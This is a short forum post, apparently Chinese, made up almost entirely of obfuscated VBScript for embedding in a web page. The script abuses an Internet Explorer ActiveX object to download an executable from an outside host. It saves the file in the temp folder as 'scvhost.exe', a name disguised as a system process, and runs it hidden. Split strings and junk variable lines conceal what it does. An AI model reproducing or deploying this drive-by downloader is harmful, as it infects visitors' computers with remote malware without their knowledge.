- <script language="VBScript">
- on error resume next
- m1="object"
- m2="classid"
- m3="clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"
- m4="Microsoft.XMLHTTP"
- m5="Shell.Application"
- MircoLong = "http://www.158dm.cn/XiaoHao.exe"
- Set MircoLongc = document.createElement(m1)
- MircoLongc.setAttribute m2, m3
- seturla="down"
- seturlb="file"
- seturlc="copy"
- seturld="exit"
- MircoLongi=m4
- Set MircoLongd = MircoLongc.CreateObject(MircoLongi,"")
- seturlf="Ado"
- seturlg="db."
- seturlh="Str"
- seturli="eam"
- MircoLongf=seturlf&seturlg&seturlh&seturli
- MircoLongg=MircoLongf
- set MircoLonga = MircoLongc.createobject(MircoLongg,"")
- MircoLonga.type = 1
- MircoLongh="GET"
- MircoLongd.Open MircoLongh, MircoLong, False
- MircoLongd.Send
- MircoLong9="scvhost.exe"
- set MircoLongb = MircoLongc.createobject("Scripting.FileSystemObject","")
- set MircoLonge = MircoLongb.GetSpecialFolder(2)
- MircoLonga.open
- MircoLong8="MircoLonga.BuildPath(MircoLonga,MircoLong8)"
- MircoLong7="MircoLongb.BuildPath(MircoLongb,MircoLong7)"
- MircoLong6="MircoLongc.BuildPath(MircoLongd,MircoLong6)"
- MircoLong5="MircoLongd.BuildPath(MircoLongf,MircoLong5)"
- MircoLong4="MircoLonge.BuildPath(MircoLongg,MircoLong4)"
- MircoLong3="MircoLongf.BuildPath(MircoLongh,MircoLong4)"
- MircoLong2="MircoLongg.BuildPath(MircoLongi,MircoLong3)"
- MircoLong1="MircoLongh.BuildPath(MircoLongg,MircoLong1)"
- MircoLong0="MircoLongi.BuildPath(MircoLongk,MircoLong0)"
- MircoLong9= MircoLongb.BuildPath(MircoLonge,MircoLong9)
- MircoLonga.write MircoLongd.responseBody
- MircoLonga.savetofile MircoLong9,2
- MircoLonga.close
- set MircoLonge = MircoLongc.createobject(m5,"")
- MircoLonge.ShellExecute MircoLong9,BBS,BBS,"open",0
- </script>
复制代码
小浩归来 |